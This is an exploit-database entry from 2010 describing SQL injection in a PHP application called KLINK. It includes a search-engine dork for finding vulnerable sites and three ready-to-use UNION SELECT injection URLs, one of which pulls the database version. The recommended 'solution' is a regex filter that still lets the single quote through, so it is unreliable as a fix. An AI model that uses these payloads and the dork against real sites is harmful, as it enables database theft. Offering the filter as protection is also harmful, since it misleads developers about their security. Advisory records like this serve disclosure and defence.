KLINK Sql Injection Vulnerability

vendor:

KLINK

by:

Andr?s G?mez

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: KLINK

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

KLINK Sql Injection Vulnerability

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of the database and/or expose sensitive information. Malicious users may inject SQL querys into a vulnerable application to fool a user in order to gather data from them or see sensible information.

Mitigation:

Add preg_replace() to the template index.php after the first <?php decelaration.

Source

Exploit-DB raw data:

##########################[Andr�s G�mez]################################
> # Exploit Title : KLINK Sql Injection Vulnerability
> # Date : 2010-12-31
> # Author : Andr�s G�mez
> # Software Developed by : http://www.contacto.com<http://www.contacto.com.com/>
> # Contact : gomezandres@adinet.com.uy
> # Dork : "allinurl:*.php?txtCodiInfo="
> ########################################################################
> # An attacker may execute arbitrary SQL statements on the vulnerable
> system.
> #This may compromise the integrity of your database and/or expose sensitive
> information.
> ########################################################################
> # Example 1: http://site.tld/path/interna.php?txtCodiInfo='
> # Example 2:
> http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10--
> # Example 3:
> http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,@@version,5,6,7,8,9,10--
> ########################################################################
> # Malicious users may inject SQL querys into a vulnerable
> # application to fool a user in order to gather data from them or see
> sensible information.
> ########################################################################
> # Solution:
> # $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
> # $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);
> # Add them to your template index.php after the first <?php decelaration.
> ########################################################################
> # Special Thanks : HYPERNETHOST & Mauro Rossi
> ##########################[Andr�s G�mez]################################